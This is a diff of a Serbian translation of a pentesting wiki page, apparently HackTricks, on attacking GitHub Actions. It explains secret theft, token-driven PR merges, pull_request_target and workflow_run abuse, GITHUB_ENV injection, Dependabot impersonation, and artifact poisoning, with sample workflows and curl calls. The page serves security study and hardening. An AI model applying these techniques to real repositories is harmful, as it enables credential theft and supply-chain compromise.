diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index ec280c4b8..68b812bb5 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,52 +4,52 @@ ## Alati -Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih: +Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih primeraka: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Proverite i njegovu kontrolnu listu na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte takođe checklist u [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Osnovne Informacije +## Osnovne informacije -Na ovoj stranici ćete pronaći: +Na ovoj stranici ćete naći: -- **rezime svih uticaja** napadača koji uspe da pristupi Github Action -- Različite načine da **dobijete pristup akciji**: -- Imajući **dozvole** za kreiranje akcije -- Zloupotreba **okidača** povezanih sa pull request-om -- Zloupotreba **drugih tehnika spoljnog pristupa** -- **Pivotiranje** iz već kompromitovanog repozitorijuma -- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja) +- Kratak pregled svih **posledica** koje napadač može izazvati ako uspe da pristupi Github Action +- Različiti načini kako **dobiti pristup action-u**: +- Imati **dozvole** za kreiranje action-a +- Zloupotreba okidača vezanih za **pull request** +- Zloupotreba drugih tehnika eksternog pristupa +- **Pivoting** sa već kompromitovanog repo-a +- Na kraju, sekcija o **post-exploitation tehnikama za zloupotrebu action-a iznutra** (koje prouzrokuju prethodno navedene posledice) -## Rezime Uticaja +## Rezime posledica -Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions). +Za uvod u [**Github Actions pogledajte osnovne informacije**](../basic-github-information.md#github-actions). -Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da: +Ako možete **izvršiti proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, mogli biste: -- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da biste dobili neovlašćen pristup spoljnim platformama, kao što su AWS i GCP. -- **Kompromitujete implementacije** i druge **artefakte**. -- Ako pipeline implementira ili čuva resurse, mogli biste da izmenite konačni proizvod, omogućavajući napad na lanac snabdevanja. -- **Izvršite kod u prilagođenim radnicima** da biste zloupotrebili računske resurse i pivotirali na druge sisteme. -- **Prepišete kod repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`. +- **Krađa secrets** montiranih u pipeline i **zloupotreba privilegija pipeline-a** za neautorizovan pristup eksternim platformama, kao što su AWS i GCP. +- **Kompromitovanje deployments** i drugih **artefakata**. +- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack. +- **Izvršavanje koda u custom workers** radi zloupotrebe računarske snage i pivotovanja na druge sisteme. +- **Prepisivanje koda repozitorijuma**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`. ## GITHUB_TOKEN -Ova "**tajna**" (koja dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se daje kada administrator omogući ovu opciju: +Ovaj "**secret**" (potiče iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) dodeljuje se kada admin omogući ovu opciju:
-Ovaj token je isti koji će koristiti **Github aplikacija**, tako da može pristupiti istim krajnjim tačkama: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpointima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github bi trebao da objavi [**tok**](https://github.com/github/roadmap/issues/74) koji **omogućava međurepozitorijumski** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`. +> Github bi trebalo da objavi a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`. Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Napomena da token **isteče nakon što je posao završen**.\ +Obratite pažnju da token **isteče nakon završetka job-a**.\ Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Neke zanimljive stvari koje možete uraditi sa ovim tokenom: @@ -66,7 +66,7 @@ https://api.github.com/repos///pulls//merge \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} -{{#tab name="Odobri PR" }} +{{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ @@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="Kreiraj PR" }} +{{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github korisničke tokene unutar Github Actions envs ili u tajnama**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom. +> Imajte na umu da ćete u nekoliko slučajeva moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati veće privilegije nad repozitorijumom i organizacijom.
-Lista tajni u Github Action izlazu +Prikaži secrets u izlazu Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijanje reverzne ljuske sa tajnama +Dobijte reverse shell koristeći secrets ```yaml name: revshell on: @@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Moguće je proveriti dozvole date Github Token-u u repozitorijumima drugih korisnika **proverom logova** akcija: +Moguće je proveriti dozvole dodeljene Github Token-u u drugim korisničkim repositories tako što ćete proveriti logove Github actions:
-## Dozvoljena Izvršenja +## Dozvoljeno izvršavanje > [!NOTE] -> Ovo bi bio najlakši način da se kompromituju Github akcije, jer ovaj slučaj podrazumeva da imate pristup **kreiranju novog repozitorijuma u organizaciji**, ili imate **privilegije pisanja nad repozitorijumom**. +> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **create a new repo in the organization**, ili da imate **write privileges over a repository**. > -> Ako ste u ovom scenariju, možete jednostavno proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Ako ste u ovoj situaciji, možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Izvršenje iz Kreiranja Repozitorijuma +### Izvršavanje preko kreiranja repoa -U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i možete izvršavati github akcije, možete **kreirati novi repozitorijum i ukrasti tajne postavljene na nivou organizacije**. +U slučaju da članovi organizacije mogu **create new repos** i da možete izvršavati github actions, možete **create a new repo and steal the secrets set at organization level**. -### Izvršenje iz Nove Grane +### Izvršavanje preko novog brancha -Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete **modifikovati** to, **otpremiti** sadržaj, a zatim **izvršiti tu akciju iz nove grane**. Na ovaj način možete **izvući tajne na nivou repozitorijuma i organizacije** (ali morate znati kako se zovu). +Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **modify**, **upload** sadržaj, i potom **execute that action from the new branch**. Na ovaj način možete **exfiltrate repository and organization level secrets** (ali morate znati kako se zovu). -Možete učiniti da modifikovana akcija bude izvršna **ručno,** kada se **kreira PR** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete uočljivi): +> [!WARNING] +> Bilo kakvo ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, ili manual gates) može biti izmenjeno od strane saradnika. Bez spoljne primene (branch protections, protected environments, i protected tags), contributor može preusmeriti workflow da se pokrene na njegovom branch-u i zloupotrebiti montirane secrets/permissions. + +Možete napraviti izmenjeni action izvršnim **manually,** kada je **PR is created** ili kada je **some code is pushed** (u zavisnosti koliko želite da budete bučni): ```yaml on: workflow_dispatch: # Launch manually @@ -177,49 +180,49 @@ branches: ``` --- -## Forked Execution +## Izvršavanje iz fork-a > [!NOTE] -> Postoje različiti okidači koji bi mogli omogućiti napadaču da **izvrši Github akciju iz drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje. +> Postoje različiti trigger-i koji bi napadaču mogli omogućiti da **execute a Github Action of another repository**. Ako su te trigger-abilne akcije loše konfigurisane, napadač bi mogao uspeti da ih kompromituje. ### `pull_request` -Okidač radnog toka **`pull_request`** će izvršiti radni tok svaki put kada se primi pull request uz neke izuzetke: prema zadatku, ako je to **prvi put** da **saradjujete**, neki **održavaoc** će morati da **odobri** **izvršenje** radnog toka: +The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neke izuzetke: po default-u ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
> [!NOTE] -> Kako je **podrazumevano ograničenje** za **prvake** u doprinosima, mogli biste doprineti **ispravljanjem važne greške/tipa** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**. +> Pošto je **podrazumevano ograničenje** za **prvi put** doprinosioce, možete doprineti **ispravljajući validan bug/typo** i zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**. > -> **Testirao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obrisao njegov nalog.~~ +> **I testirao sam ovo i ne radi**: ~~Druga opcija bi bila da napravite nalog sa imenom nekoga ko je doprineo projektu i obrisao svoj nalog.~~ -Pored toga, prema zadatku **sprečava pisane dozvole** i **pristup tajnama** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Štaviše, po default-u to **sprečava write permissions** i **secrets access** ka ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Sa izuzetkom `GITHUB_TOKEN`, **tajne se ne prosleđuju izvršiocu** kada se radni tok pokrene iz **forkovanog** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ima **iz forkovanih repozitorijuma**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Napadač bi mogao da izmeni definiciju Github akcije kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade tajne ili prepiše repozitorijum zbog pomenutih ograničenja. +Napadač može izmeniti definiciju Github Action-a kako bi izvršio proizvoljne komande i dodao proizvoljne akcije. Međutim, zbog pomenutih ograničenja neće moći da ukrade secrets ili prepiše repo. > [!CAUTION] -> **Da, ako napadač promeni u PR-u github akciju koja će biti pokrenuta, njegova Github akcija će biti ta koja će se koristiti, a ne ona iz originalnog repozitorijuma!** +> **Da, ako napadač promeni u PR-u github action koji će biti okinut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!** -Kako napadač takođe kontroliše kod koji se izvršava, čak i ako nema tajni ili pisane dozvole na `GITHUB_TOKEN`, napadač bi mogao, na primer, **da otpremi zlonamerne artefakte**. +Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi na primer mogao **otpremiti maliciozne artefakte**. ### **`pull_request_target`** -Okidač radnog toka **`pull_request_target`** ima **pisanu dozvolu** za ciljani repozitorijum i **pristup tajnama** (i ne traži dozvolu). +The workflow trigger **`pull_request_target`** ima **write permission** ka ciljanom repozitorijumu i **access to secrets** (i ne traži odobrenje). -Napomena da okidač radnog toka **`pull_request_target`** **radi u osnovnom kontekstu** i ne u onom koji daje PR (da **ne izvršava nepouzdani kod**). Za više informacija o `pull_request_target` [**proverite dokumentaciju**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Pored toga, za više informacija o ovoj specifičnoj opasnoj upotrebi proverite ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Napomena da workflow trigger **`pull_request_target`** **pokreće se u base context-u** a ne u onom koji daje PR (da **ne bi izvršavao nepoverljiv kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Štaviše, za više informacija o ovom specifično opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Možda izgleda kao da je **izvršeni radni tok** onaj definisan u **osnovi** i **ne u PR-u**, pa je **sigurno** koristiti **`pull_request_target`**, ali postoje **neki slučajevi kada to nije**. +Može delovati da je bezbedno koristiti **`pull_request_target`** zato što se **izvršeni workflow** definiše u **base-u** a **ne u PR-u**, ali postoje **nekoliko slučajeva gde to nije**. -A ovaj će imati **pristup tajnama**. +I ovaj će imati **access to secrets**. ### `workflow_run` -[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) okidač omogućava pokretanje radnog toka iz drugog kada je `završen`, `tražen` ili `u toku`. +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava da se workflow pokrene iz drugog kada je `completed`, `requested` ili `in_progress`. -U ovom primeru, radni tok je konfiguran da se pokrene nakon što se završi odvojeni "Pokreni testove" radni tok: +U ovom primeru, workflow je konfigurisan da se pokrene nakon što se odvojeni "Run Tests" workflow završi: ```yaml on: workflow_run: @@ -227,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: Workflow pokrenut događajem `workflow_run` može **pristupiti tajnama i pisati tokene, čak i ako prethodni workflow nije**. +Štaviše, prema dokumentaciji: workflow pokrenut događajem `workflow_run` može da **pristupi secrets i write tokens, čak i ako prethodni workflow nije**. -Ova vrsta workflow-a može biti napadnuta ako **zavisi** od **workflow-a** koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Nekoliko ranjivih primera može se [**pronaći u ovom blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima napadačev kod: `${{ github.event.pull_request.head.sha }}`\ -Drugi se sastoji od **prosleđivanja** **artefakta** iz **nepouzdanog** koda u **`workflow_run`** workflow i korišćenja sadržaja ovog artefakta na način koji ga čini **ranjivim na RCE**. +Ovakav workflow može biti napadnut ako **zavisi** od **workflow** koji eksterni korisnik može **pokrenuti** putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se naći u [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi primer se sastoji od **`workflow_run`** pokrenutog workflow-a koji preuzima kod napadača: `${{ github.event.pull_request.head.sha }}` +Drugi primer se sastoji u **prosleđivanju** **artifact**-a iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originala ili iz forkovanog PR +TODO: Proveriti da li kada se izvršava iz pull_request koristi/preuzima kod iz origin ili iz forkovanog PR-a -## Zloupotreba Forkovane Izvršavanja +## Zloupotreba forkovanog izvršavanja -Pomenuli smo sve načine na koje spoljašnji napadač može uspeti da pokrene github workflow, sada hajde da pogledamo kako bi ove izvršavanja, ako su loše konfigurisane, mogle biti zloupotrebljene: +Pomenuo/la smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši, sada hajde da pogledamo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti: -### Nepouzdan checkout izvršavanje +### Untrusted checkout execution -U slučaju **`pull_request`,** workflow će biti izvršen u **kontekstu PR** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora prvo da **autorizuje** i izvršiće se sa nekim [ograničenjima](#pull_request). +U slučaju **`pull_request`**, workflow će se izvršiti u **kontekstu PR-a** (dakle izvršiće **malicious PRs code**), ali neko mora to prvo **odobriti** i on će se izvršavati sa određenim [ograničenjima](#pull_request). -U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, kod iz originalnog repozitorijuma će biti izvršen, tako da **napadač ne može kontrolisati izvršeni kod**. +U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**. > [!CAUTION] -> Međutim, ako **akcija** ima **eksplicitni PR checkout** koji će **uzeti kod iz PR** (a ne iz osnove), koristiće napadačev kontrolisani kod. Na primer (proverite liniju 12 gde se preuzima kod PR-a): +> Međutim, ako **action** ima **explicit PR checkout** koji će **dohvatiti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima PR kod):
# INSECURE. Provided as an example only.
 on:
@@ -279,32 +282,32 @@ message: |
 Thank you!
 
-Potencijalno **nepouzdan kod se izvršava tokom `npm install` ili `npm build`** jer su skripte za izgradnju i referencirani **paketi pod kontrolom autora PR-a**. +Potencijalno **untrusted code se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages pod kontrolom autora PR-a**. > [!WARNING] -> Github dork za pretragu ranjivih akcija je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini za konfiguraciju poslova da se izvršavaju sigurno čak i ako je akcija konfigurisana nesigurno (kao što je korišćenje uslovnih izraza o tome ko je akter koji generiše PR). +> Github dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se konfigurišu jobs da se izvršavaju sigurno čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR). -### Kontekst Injekcije Skripti +### Context Script Injections -Napomena da postoje određeni [**github konteksti**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github akcija koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **izvršavanja proizvoljnog koda:** +Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github action koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Injekcija Skripti** +### **GITHUB_ENV Script Injection** -Prema dokumentaciji: Možete učiniti **promenljivu okruženja dostupnom za sve naredne korake** u workflow poslu tako što ćete definisati ili ažurirati promenljivu okruženja i napisati to u **`GITHUB_ENV`** datoteku okruženja. +Iz dokumentacije: Možete učiniti da **environment variable bude dostupan svim narednim koracima** u workflow job-u tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** environment fajl. -Ako bi napadač mogao **ubaciti bilo koju vrednost** unutar ove **env** promenljive, mogao bi ubaciti env promenljive koje bi mogle izvršiti kod u sledećim koracima kao što su **LD_PRELOAD** ili **NODE_OPTIONS**. +Ako bi napadač mogao da **ubaci bilo koju vrednost** u ovu **env** promenljivu, mogao bi da ubaci env promenljive koje bi mogle izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**. -Na primer ([**ovo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**ovo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje da je učitani artefakt da skladišti svoj sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao da učita nešto poput ovoga da bi ga kompromitovao: +Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da uploaduje nešto ovakvo da bi ga kompromitovao:
-### Dependabot i drugi pouzdani botovi +### Dependabot and other trusted bots -Kao što je navedeno u [**ovom blog postu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github akciju koja spaja bilo koji PRR od `dependabot[bot]` kao u: +Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PR od `dependabot[bot]` kao u: ```yaml on: pull_request_target jobs: @@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Koji je problem jer polje `github.actor` sadrži korisnika koji je izazvao najnoviji događaj koji je pokrenuo radni tok. I postoji nekoliko načina da se korisnik `dependabot[bot]` natera da izmeni PR. Na primer: +To predstavlja problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer: -- Forkujte žrtvovano skladište -- Dodajte zloćudni payload u svoju kopiju -- Omogućite Dependabot na svom fork-u dodajući zastarelu zavisnost. Dependabot će kreirati granu koja ispravlja zavisnost sa zloćudnim kodom. -- Otvorite Pull Request ka žrtvovanom skladištu iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti) -- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u svom fork-u i pokreće `@dependabot recreate` -- Zatim, Dependabot izvršava neke radnje u toj grani, koje su izmenile PR u žrtvovanom repo-u, što čini `dependabot[bot]` akterom najnovijeg događaja koji je pokrenuo radni tok (i stoga, radni tok se pokreće). +- Napravite fork repository-ja žrtve +- Dodajte malicious payload u svoju kopiju +- Omogućite Dependabot na svom forku dodavanjem zastarele dependency. Dependabot će kreirati branch koji ispravlja dependency sa malicious kodom. +- Otvorite Pull Request ka repository-ju žrtve iz tog branch-a (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti) +- Zatim, napadač se vraća na početni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate` +- Zatim Dependabot izvrši neke akcije na tom branch-u, koje izmeniše PR u repository-ju žrtve, čime je `dependabot[bot]` postao autor poslednjeg događaja koji je pokrenuo workflow (i stoga, workflow se pokreće). -Nastavljajući, šta ako umesto spajanja Github Action bi imao injekciju komandi kao u: +Idemo dalje, šta ako umesto merge-ovanja Github Action ima command injection kao u: ```yaml on: pull_request_target jobs: @@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Pa, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, a druga je: +Pa, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga: -- Forkujte repozitorijum žrtve i omogućite Dependabot sa nekim zastarelim zavisnostima. -- Kreirajte novu granu sa zloćudnim kodom za shell injekciju. -- Promenite podrazumevanu granu repozitorijuma na tu. -- Kreirajte PR iz ove grane u repozitorijum žrtve. -- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku. -- Dependabot će spojiti svoje izmene u podrazumevanu granu vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` aktera poslednjeg događaja koji je pokrenuo radni tok i koristeći zloćudno ime grane. +- Fork the victim repository and enable Dependabot with some outdated dependency. +- Create a new branch with the malicious shell injeciton code. +- Change the default branch of the repo to that one +- Create a PR from this branch to the victim repository. +- Run `@dependabot merge` in the PR Dependabot opened in his fork. +- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. -### Ranljive Treće Strane Github Akcije +### Ranjive Third-Party GitHub Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Kao što je pomenuto u [**ovom blog postu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Akcija omogućava pristup artefaktima iz različitih radnih tokova i čak repozitorijuma. +Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova GitHub Action dozvoljava pristup artifacts iz različitih workflow-ova i čak repozitorijuma. -Problem je u tome što, ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu. +Problem je u tome što, ako parametar **`path`** nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršeni u workflow-u. Dakle, ako je Artifact ranjiv, napadač bi to mogao zloupotrebiti da kompromituje druge workflow-ove koji veruju tom Artifact-u. -Primer ranjivog radnog toka: +Example of vulnerable workflow: ```yaml on: workflow_run: @@ -373,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Ovo bi moglo biti napadnuto ovom radnom procedurom: +Ovo se može napasti ovim workflow-om: ```yaml name: "some workflow" on: pull_request @@ -390,35 +393,35 @@ path: ./script.py ``` --- -## Drugi Spoljni Pristup +## Ostali eksterni pristup -### Otimanje Izbrisanog Namespace Repozitorijuma +### Obrisano Namespace Repo Hijacking -Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan. +Ako nalog promeni svoje ime, drugi korisnik može nakon nekog vremena registrovati nalog sa tim imenom. Ako je repozitorijum pre promene imao **manje od 100 stars**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao obrisani. > [!CAUTION] -> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju. +> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da attacker kreira taj nalog i compromise action. -Ako su drugi repozitorijumi koristili **zavisnosti iz repozitorijuma ovog korisnika**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Ako drugi repos koriste **dependencies from this user repos**, attacker će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak). +> U ovom odeljku govorićemo o tehnikama koje bi omogućile da **pivot from one repo to another** pod pretpostavkom da imamo neki pristup prvom (pogledajte prethodni odeljak). -### Trovanje Kešom +### Cache Poisoning -Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok. +Cache se održava između **wokflow runs in the same branch**. To znači da ako attacker **compromise** paket koji se potom skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, on će moći i da **compromise** i taj workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Trovanje Artefaktima +### Artifact Poisoning -Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**: +Workflows mogu koristiti **artifacts from other workflows and even repos**; ako attacker uspe da **compromise** Github Action koja **uploads an artifact** koja se kasnije koristi u drugom workflow-u, on bi mogao **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md --- -## Post Eksploatacija iz Akcije +## Post Exploitation from an Action -### Pristupanje AWS i GCP putem OIDC +### Github Action Policies Bypass -Proverite sledeće stranice: +Kao što je objašnjeno u [**this 